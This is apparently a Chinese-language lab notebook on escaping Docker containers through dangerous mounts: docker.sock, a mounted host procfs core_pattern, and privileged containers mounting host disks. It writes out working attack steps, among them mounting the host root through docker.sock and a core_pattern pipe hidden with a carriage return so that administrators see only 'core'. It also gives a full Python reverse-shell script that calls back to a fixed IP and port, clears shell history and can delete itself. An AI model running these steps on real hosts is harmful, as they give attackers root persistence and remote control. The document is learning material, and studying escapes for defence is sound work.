危险挂载导致Docker 逃逸
docker.sock
容器1 root@6c010b68eace:
容器1中再创建一个容器2 
查看/var/run/docker.sock权限
更改权限
在《第一本docker书》中有介绍到 在docker里面root文件系统永远只能是只读状态
后面换个docker版本再尝试下,试了好久原来是centos上面就会报这个错,换成kali就不会报错
,难受难受 后续尝试一下kali开centos镜像
Ubuntu下重新做一遍
1. 创建容器并且挂载/var/run/docker.sock
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu /bin/bash
查看是否存在docker.sock
ls -al /var/run/docker.socksrw-rw---- 1 root 998 0 Apr 15 01:31 /var/run/docker.sockfind / -name docker.sock/run/docker.sockcat /proc/mounts|grep "docker.sock"tmpfs /run/docker.sock tmpfs rw,nosuid,nodev,noexec,relatime,size=400080k,mode=755 0 0
2. docker in docker
先给容器中的Ubuntu换源
查看容器中的Ubuntu版本:
root@ad3965669fbd:/# cat /etc/issueUbuntu 20.04.2 LTS \n \l
跟换成阿里云的
echo "\deb http://mirrors.aliyun.com/ubuntu/ focal main restricteddeb http://mirrors.aliyun.com/ubuntu/ focal-updates main restricteddeb http://mirrors.aliyun.com/ubuntu/ focal universedeb http://mirrors.aliyun.com/ubuntu/ focal-updates universedeb http://mirrors.aliyun.com/ubuntu/ focal multiversedeb http://mirrors.aliyun.com/ubuntu/ focal-updates multiversedeb http://mirrors.aliyun.com/ubuntu/ focal-backports main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ focal-security main restricteddeb http://mirrors.aliyun.com/ubuntu/ focal-security universedeb http://mirrors.aliyun.com/ubuntu/ focal-security multiverse">/etc/apt/sources.list
安装docker
root@ad3965669fbd:/# apt updateroot@ad3965669fbd:/# apt install docker.io
3. container in container
将宿主机的主目录挂载在容器adc5d7d80d5f中的/host
root@ad3965669fbd:/# docker run -it -v /:/host ubuntu /bin/bashroot@adc5d7d80d5f:/#
从防守方的角度(先留坑,有时间来填)
进程分析
procfs
挂载宿主机/proc/sys/kernel/core_pattern到容器/host/proc/sys/kernel/core_pattern
docker run -it --name test_procfs -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
更新工具apt-get updateapt-get install vimapt-get install gccapt-get install python
如果core_pattern 中第一个字符是 Linux管道符 |, 那么Linux 内核在捕获进程崩溃信息的时候,就会以root权限执行管道符后门的程序或者脚本,将进程崩溃信息传递给这个程序或者脚本,这就给我们提供了一个隐藏系统后门的方法,我们可以在管道符后面隐藏我们的后门脚本,以实现在特定条件下反弹shell
root@435621c8aa7d:/# echo -e "|/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_patternroot@435621c8aa7d:/# cat /host/proc/sys/kernel/core_patterncore## payload中使用空格加\r的方式,巧妙覆盖掉了真正的|/tmp/.x.py,## 即使管理员通过cat /proc/sys/kernel/core_pattern的方式查看,也只能看到core;

<br />crash.c
#include <stdio.h>int main(void){int *a = NULL;*a = 1;return 0;}
gcc -o crash crash.c
/tmp/.x.py
#!/usr/bin/env python# --coding:utf-8 --import osimport ptyimport socketlhost = "192.168.201.128"lport = 10000def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")#os.remove('/tmp/.x.py')s.close()if __name__ == "__main__":main()
os.remove(‘/tmp/.x.py’)在反弹shell的过程中删掉了用来反弹shell的程序自身

结果并没有成功反弹,原因是因为Linux转储机制对/proc/sys/kernel/core_pattern内程序的查找是在宿主机文件系统进行的,而我们的/tmp/.x.py是容器内路径。诚然,我们能够通过再挂载一个宿主机/tmp来达到目的,但这样的场景过于刻意,不够真实。
root@0d7bdea901d5:/# cat /proc/mounts | grep dockeroverlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/E6P4MCH7YOQ6OUHFRAWXJGCT2E:/var/lib/docker/overlay2/l/SRP2UQ22BZ3OP4CLF7BTUKODBT:/var/lib/docker/overlay2/l/G4GVVPMHG5OVNGOP4E6VFZBJQD:/var/lib/docker/overlay2/l/2UUEFSAUX6VI34VJJCISOW3MPK:/var/lib/docker/overlay2/l/64QV3WQ5P66MHHA75SXQQE4AMK,upperdir=/var/lib/docker/overlay2/0553f036970a0d434843c4dace11b0b88e7cdcc5aebef15891ad4e5782a98547/diff,workdir=/var/lib/docker/overlay2/0553f036970a0d434843c4dace11b0b88e7cdcc5aebef15891ad4e5782a98547/work 0 0
获取当前容器在宿主机上的绝对路径
workdir=/var/lib/docker/overlay2/0553f036970a0d434843c4dace11b0b88e7cdcc5aebef15891ad4e5782a98547/work那么结合背景知识,我们可以得知当前容器在宿主机上的绝对路径是/var/lib/docker/overlay2/0553f036970a0d434843c4dace11b0b88e7cdcc5aebef15891ad4e5782a98547/merged
echo -e "|/var/lib/docker/overlay2/0553f036970a0d434843c4dace11b0b88e7cdcc5aebef15891ad4e5782a98547/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
cat /host/proc/sys/kernel/core_patterncore verlay2/155c8884b1370a6614f30ac38b527de607aa5126b19954f7cb21aedcc2b55471/merged/tmp/.x.py
echo -e "|/var/lib/docker/overlay2/0553f036970a0d434843c4dace11b0b88e7cdcc5aebef15891ad4e5782a98547/merged/tmp/.x.py \rcore " >/host/proc/sys/kernel/core_pattern

还是没有shell
这边没有其他文章中的Segmentation fault (core dumped) 是没有生成core?留个坑
现在先用个上面很假的办法就是挂载/tmp
可以在配置文件中更改
我先重新创建一个容器
> --name test_tmp \> -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern \> -v /tmp/:/tmp/ \ubuntu
特殊配置
—privileged
启动Docker容器。使用此参数时,容器可以完全访问所有设备,并且不受seccomp,AppArmor和Linux capabilities的限制
docker run --rm -it --privileged ubuntu /bin/bash查看磁盘文件: fdisk -l新建目录以备挂载: mkdir /aa将宿主机/dev/sda1目录挂载至容器内 /aa: mount /dev/sda1 /aa即可写文件获取权限或数据

/dev/sda1挂载到容器中了,但是 /dev/sda2会报错

正常本机挂载也会出这个问题
解决问题 :直接挂载。但是是用逻辑卷的名称挂载
1、用以下命令,查看服务器物理分区,逻辑卷的信息fdisk -l
(前面是物理分区,后面是逻辑卷信息)
2、用以下命令查看逻辑卷的具体信息lvdisplay
3、用以下命令将逻辑卷(如:逻辑卷的名称为:/dev/centos/root ,即在第2步中看到的LV Name)挂载在目录(如:/mnt/asd2)下。sudo mount /dev/centos/root /mnt/asd2
容器还是挂载不了 怀疑是Ubuntu中没有这个分区格式(留坑)
文件只读挂载
$ docker run --rm -ti ubuntu /bin/bashecho "hello" >/home/test.txtcat /home/test.txt$ docker run --rm -ti --read-only ubuntu bashecho "hello" >/home/test.txt# 返回结果:bash:/home/test.txt:Read-only file system
参考链接:
https://paper.seebug.org/1288/
https://xz.aliyun.com/t/8558?accounttraceid=ea6ad14a1360428a91a8badc0e31831enaqt#toc-4
https://mp.weixin.qq.com/s/_GwGS0cVRmuWEetwMesauQ
https://chen1sheng.github.io/2021/01/10/%E6%B8%97%E9%80%8F/linux/docker%E9%80%83%E9%80%B8/
https://wohin.me/rong-qi-tao-yi-gong-fang-xi-lie-yi-tao-yi-ji-zhu-gai-lan/


